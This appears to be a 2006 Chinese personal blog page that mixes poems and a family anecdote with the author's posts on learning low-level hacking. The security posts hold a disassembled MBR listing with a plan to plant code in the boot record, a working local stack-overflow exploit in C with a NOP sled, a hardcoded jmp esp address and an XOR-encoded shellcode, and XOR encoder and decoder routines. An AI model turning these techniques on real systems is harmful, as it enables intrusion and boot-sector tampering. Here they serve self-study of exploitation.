天堂電影院

誰是誰非,誰清誰楚?
 
Shakespare @ 2006-11-15 20:37

是那月亮上的桂花开了吗?
要不怎么会有你的名字

一双舞鞋
俏美的你不用心
也能舞出天使的舞姿
更何况
你心如秋晨的露珠

十八岁的街景
没有惆怅
只需一抹月光就能敲开思念
又何必用帘掩着
遮蔽光芒

我也许就在某个街口
在稍纵即逝的你的背影里
只一个凝望
抵过诉断衷肠

但愿月亮上的桂香留我一抹
孤寂寒夜
让我明了
有你就有月亮



 
Shakespare @ 2006-10-26 22:32

    需要一些DOS下BIOS中断的知识,于是看磁盘操作。
    我想实现这么件事情……把自己的程序写进磁盘的MBR里(当然先要备份一份MBR,否则如果你没有装磁盘保护的软件,那就……),这样系统启动就最先启动我的程序,转而再去执行MBR。或许我的想法不对,看一下MBR的引导程序都干了什么。

0013FF28 33 C0                xor         eax,eax
0013FF2A 8E D0                mov         ss,ax
0013FF2C BC 00 7C FB 50       mov         esp,50FB7C00h         ;esp指向活动分区的引导程序 MOV SP,7C00  STI  PUSH AX
0013FF31 07                   pop         es
0013FF32 50                   push        eax
0013FF33 1F                   pop         ds
0013FF34 FC                   cld
0013FF35 BE 1B 7C BF 1B       mov         esi,1BBF7C1Bh
0013FF3A 06                   push        es
0013FF3B 50                   push        eax
0013FF3C 57                   push        edi
0013FF3D B9 E5 01 F3 A4       mov         ecx,0A4F301E5h
0013FF42 CB                   retf
0013FF43 BE BE 07 B1 04       mov         esi,4B107BEh
0013FF48 38 2C 7C             cmp         byte ptr [esp+edi*2],ch   ;ch=0 ????
0013FF4B 09 75 15             or          dword ptr [ebp+15h],esi
0013FF4E 83 C6 10             add         esi,10h             
0013FF51 E2 F5                loop        0013FF48
0013FF53 CD 18                int         18h                      ;如果没有活动分区就启动ROM BASIC
0013FF55 8B 14 8B             mov         edx,dword ptr [ebx+ecx*4]
0013FF58 EE                   out         dx,al
0013FF59 83 C6 10             add         esi,10h                  ;SI指向下一个分区
0013FF5C 49                   dec         ecx                      ;计数器减1
0013FF5D 74 16                je          0013FF75                 ;分区检测完毕,转入读系统引导区
0013FF5F 38 2C 74             cmp         byte ptr [esp+esi*2],ch  ;CMP [SI],CH  JZ FFFA   
0013FF62 F6 BE 10 07 4E AC    idiv        byte ptr [esi-53B1F8F0h] ;MOV SI,0710  DEC SI  LOODSB
0013FF68 3C 00                cmp         al,0                     ;错误信息显示完毕了吗
0013FF6A 74 FA                je          0013FF66                 ;是,转入死循环
0013FF6C BB 07 00 B4 0E       mov         ebx,0EB40007h            ;mov bx,0007  mov AH,0Eh   
0013FF71 CD 10                int         10h            ;显示一个字符
0013FF73 EB F2                jmp         0013FF67
0013FF75 89 46 25             mov         dword ptr [esi+25h],eax
0013FF78 96                   xchg        eax,esi
0013FF79 8A 46 04             mov         al,byte ptr [esi+4]
0013FF7C B4 06                mov         ah,6
0013FF7E 3C 0E                cmp         al,0Eh
0013FF80 74 11                je          0013FF93
0013FF82 B4 0B                mov         ah,0Bh
0013FF84 3C 0C                cmp         al,0Ch
0013FF86 74 05                je          0013FF8D
0013FF88 3A C4                cmp         al,ah
0013FF8A 75 2B                jne         0013FFB7
0013FF8C 40                   inc         eax
0013FF8D C6 46 25 06          mov         byte ptr [esi+25h],6
0013FF91 75 24                jne         0013FFB7
0013FF93 BB AA 55 50 B4       mov         ebx,0B45055AAh  ;MOV BX,55AA   PUSH EAX  
0013FF98 41                   inc         ecx             ;MOV EAX,41h
0013FF99 CD 13                int         13h           ;扩展读扇区
0013FF9B 58                   pop         eax
0013FF9C 72 16                jb          0013FFB4
0013FF9E 81 FB 55 AA 75 10    cmp         ebx,1075AA55h  ;CMP EBX,55AA   JNZ 0013FFB4
0013FFA4 F6 C1 01             test        cl,1           ;TEST CL,1
0013FFA7 74 0B                je          0013FFB4
0013FFA9 8A E0                mov         ah,al
0013FFAB 88 56 24             mov         byte ptr [esi+24h],dl
0013FFAE C7 06 A1 06 EB 1E    mov         dword ptr [esi],1EEB06A1h
0013FFB4 88 66 04             mov         byte ptr [esi+4],ah           ;最后处理 ?
0013FFB7 BF 0A 00 B8 01       mov         edi,1B8000Ah
0013FFBC 02 8B DC 33 C9 83    add         cl,byte ptr [ebx-7C36CC24h]    ;INC  WORD PTR [DI]   JG 0007  
0013FFC2 FF 05 7F 03 8B 4E    inc         dword ptr ds:[4E8B037Fh]       ;MOV CX,[BP+25]   MOV CX,[BP+02]
0013FFC8 25 03 4E 02 CD       and         eax,0CD024E03h                 ;INT 13
0013FFCD 13 72 29             adc         esi,dword ptr [edx+29h]
0013FFD0 BE 46 07          
0013FFDE 7F DA                jg          0013FFBA
0013FFE0 85 F6                test        esi,esi
0013FFE2 75 83                jne         0013FF67
0013FFE4 BE 27 07 EB 8A       mov         esi,8AEB0727h
0013FFE9 98                   cwde
0013FFEA 91                   xchg        eax,ecx
0013FFEB 52                   push        edx
0013FFEC 99                   cdq
0013FFED 03 46 08             add         eax,dword ptr [esi+8]

       这是我把自己机器MBR反汇编的结果,如果没有磁盘知识就是天书了。实际上无非做了些查找比对活动分区的事情,找到活动分区后转而去执行DBR的引导程序。
      今天写了个读取磁盘的小程序,明天试一下。




 
Shakespare @ 2006-10-17 20:16

寒淡的云的呼吸
打落树叶
唱一曲啾啾
呵——
从此没有回眸。



 
Shakespare @ 2006-10-15 00:10

   刚才给妈妈打电话,跟她聊起从前的事情。这次中秋回家听叔叔说妈妈原来是当地出名的美女,经常演出,我瞪大眼睛问道:你不是忽悠我呢吧?问完之后才发现自己实在失礼。
   “妈妈,你以前是有名的美女呀?瓦塞,你怎么看上我爸的?”
   “这孩子胡说什么呢?”
   “说说呀,爸爸家那么穷,呵呵”
   “就是看上了呀,你爸当兵嘛”
   “是哦,爸爸当兵的,又那么高,年轻时候也很帅的!”
   “呵呵。跟做梦一样就有你们两了——”

   一晃,他俩已经相伴快三十年了,我妈还说是一场梦。若一场梦能做三十年,不管其中是坎坷艰难还是幸福愉悦都已是一场美梦了。从我爸这辈人开始,我家就开始散落全国各地,如今到了我这辈看来还是要散落各地了。我们家的梦散落到了各地,呵。虽然是梦,却绝非似梦般的悠悠然然,自自在在,如同妈妈的梦一样,难以叙述,溢于言表。真羡慕他们了,很容易就进入了梦境,^_^。
   我前不久好像也做了一场梦,可是没有持续三十年,现在梦醒了。如果梦能一直做下去就会是美梦了吧,可惜醒了,梦境终于还是梦境了~~^_^。



 
Shakespare @ 2006-10-04 10:23

 
     早上好无聊,写写栈溢出的原理吧。我也是刚刚接触没多久,理解还不够深入。我将结合前两次得到的shellcode结合一个很小的本地溢出例子程序来模拟一次简单的溢出,得到一个最基本的溢出模型。
     栈溢出是利用c语言对一些字符串操作不检查边界的结果,比如strcpy,strcat等等,简单地讲就是自己设置的字符串覆盖掉了程序的栈结构而导致的程序不能按照设想的状况执行。
    看一下调用子程序的压栈顺序:
    比如:  
               SubProcess  proc
                     .................
                     .................
               SubProcess  endp

               start::
                    ...............
                    ...............
                    call SubProcess
  addr 1->   ...............
                ends
     压栈顺序是这样的:
                       ______
高地址           | _ret__ |     <--也就是addr1
                       |_ebp__|              
                       |.....buf...|      buf是子程序所需字符串的大小
低地址           |______|              
       你肯定知道windows下栈是向下生长的,和内存正好相反。
       那么我们现在要做什么呢?我们需要利用c语言不检查边界的缺陷,经过一定的计算覆盖掉addr1,将addr1换成我们设置好的shellcode的执行地址,也就是说子程序将不能正确返回,程序的流程被打乱了。比如现在buf为256字节,如果我们给它强行拷贝264字节就会覆盖到ret地址。
    难点:ret地址应该填什么?
    这是个困扰我大半天的东西,其实很简单,原因还是没对压栈了解清楚。我们构造的字符串对原串进行了溢出覆盖掉了ret,当子程序最后出栈ebp(也已经被改写了)后执行ret时会跳向我们的shellcode。好,看一下执行ret后的esp指向哪里,不就是ret上一个栈地址吗?也就是我们的shellcode的呀!!也就是说只要我们想办法跳到esp处,我们就能执行shellcode了!!这时我们需要在系统里随便找到一个jmp esp指令即可,这个根据不同的系统往往不同,所以如果你对你的目标有了一定的了解后就很好办了。
   以win2000和winxp为例,我们可以用调试器搜索一下EEF4(jmp esp)找到一个合适的地址。我得到的0x7ffa4512,这个地址填入到ret就可以了。
  好,看一下例子程序吧。

 

#include <windows.h>
#include <winbase.h>
#include  <stdio.h>

 char DenCode[  ]="\x8B\xDC\xB2\x99\xB1\x39\x30\x53\x0C\x43\xE2\xFA"; 
 char ShellCode[  ]="\x12\x75\xAA\x59\xC9\x1A\x75\x9D\x5F\xDC\x61\xFA\x5F\xDC\x60\xF4"
     "\x5F\xDC\x63\xFD\x5F\xDC\x62\xB7\x5F\xDC\x65\xFC\x5F\xDC\x64\xE1"
     "\x5F\xDC\x67\xFC\x21\x98\x99\x99\x99\xC9\x14\xDC\x61\xC9\x23\xD4"
     "\x88\x1F\xE5\x66\x4B\x50";    //encrpted
 char eip[]="\x12\x45\xfa\x7f";
 char buf[500];


void OverFlow(char *p)
{
 char Buffer[256];
 printf("Here is the overflowpoint:\n");
 strcpy(Buffer,p);
}

void main()
{

 int i,Len;        //Len=41
 Len=strlen(ShellCode);
 for(i=0;i<260;i++)
  buf[i]=0x90;
 memcpy(buf+260,eip,4);    //ret
 memcpy(buf+264,DenCode,12);   //Dencrpt code
 memcpy(buf+276,ShellCode,Len);  //shellcode 
 OverFlow(buf);
}

   就是这样,如果你对敌人程序相当地了解,你就动手挖掘它可能存在的溢出点吧,但是挖掘的过程才是最显功力的过程。
   这是本地溢出了,下一步看看远程溢出。



 
Shakespare @ 2006-10-02 10:27


    看来我真是个菜虫,写栈溢出例子程序的时候才发现自己写的shellcode的问题,这么简单的问题我怎么就没想到呢?看来我真是菜。
    什么问题?唉,上篇的shellcode中有那么多0x00这种特殊的字符,strcpy能执行完全才怪!好,今天来个补完,谈谈shellcode编码问题。编码是正是为了去除shellcode中特殊字符串的问题,方法大概有异或法,直接替换法和拆分法,我是菜虫我用异或法。
   异或法就是简单地将shellcode异或。
   void Encode(char *Sc)
{
 int i,j;
 int EnKey=0x99;     //与之异或的值
 char msg[4];
 for(i=0;i<54;i++)
 {
  Sc[i]=Sc[i]^EnKey;
 }
 for(i=0;i<54;i++) 
 {
  sprintf(msg,"\x%.2X",Sc[i]&0xff);
  for(j=0;j<4;j++) printf("%c",msg[j]);
 }
 printf("\n");
}
   很简单吧,这样就完成了shellcode的xor编码了。再看看怎么解码,我用汇编写了一小段,方便提取机器码。
 _asm{
   mov ebx,esp
   mov  dl,99h    //dl is the key
   mov  cl,57      //cl  is the shellcode's lenth
Dencode_loop:
   xor [ebx + 0Bh],dl 
   inc ebx
   loop Dencode_loop
  }
   我想了想我这个解码方法不是太好,因为要先知道shellcode的长度,我看了看别人写的解码觉得不错。
jmp Decode_end
Decode_start:
pop edx // 得到解码开始位置 esp -> edx
dec edx
xor ecx,ecx
mov cx,0x200 //要解码的 EnShellCode, 长度0x200应该足够
Decode_loop:
xor byte ptr [edx+ecx], 0x97 // 因为编码时用的Key是0x97,所以解码要一样
loop Decode_loop
jmp Decode_ok
Decode_end:
call Decode_start
Decode_ok:
     这样就可以不用知道shellcode的长度了。
     写完解码程序后提取一下解码的机器码:"\x8B\xDC\xB2\x99\xB1\x39\x30\x53\x0C\x43\xE2\xFA";
     这样我们重新构造我们的shellcode
     shellcode[ MaxSize]的结构大致为:要覆盖对象缓冲区大小  +  ret值(也就是指定的系统jmp esp)  + 解码程序 + 编码后的shellcode。还可以在解码程序前增加若干nop指令以减少计算不准出现的错误。
     现在我说说自己遇到的问题,这个应该是难点。1。我怎么知道解码程序该从哪个位置解码呢?出现这个问题的原因是我还是没有对压栈情况有清楚的认识。其实很简单,这个问题明天讲,因为牵扯到栈溢出的原理。2。怎么让shellcode正确返回,这个问题仍在解决中,汗~~
    总之,我们知道了shellcode基本编码过程和解码过程,shellcode的基本框架就是如此了,我分析了几个shellcode,果然是这样的。调试的时候很好玩,在解码的时候,后面的shellcode一个个的还原出了真实的面目了。
    到此,shellcode已经基本完毕,以后的工作是深入地理解溢出了,争取为以后的漏洞分析与挖掘打下基础。
 


 
日历
网志分类
『所有网志』
~日志,志日~
code,cold?
奏鳴曲
莎翁的羽毛筆
天堂電影院
柯尼斯卡小鎮
最新留言
站内搜索
友情链接
管理博客
徐静蕾^_^
優曇華&#8226; 空城結想
烨辉华彩
Docoocoo的专栏——做酷
Hope start!!
Bartender Angle
小狐的友情天地
雨人
宁静的夏
另一个我
Chic Love
憩息在榕树花开的角落
夢ノカケラ
桃成蹊
订阅 RSS
0028624
歪酷博客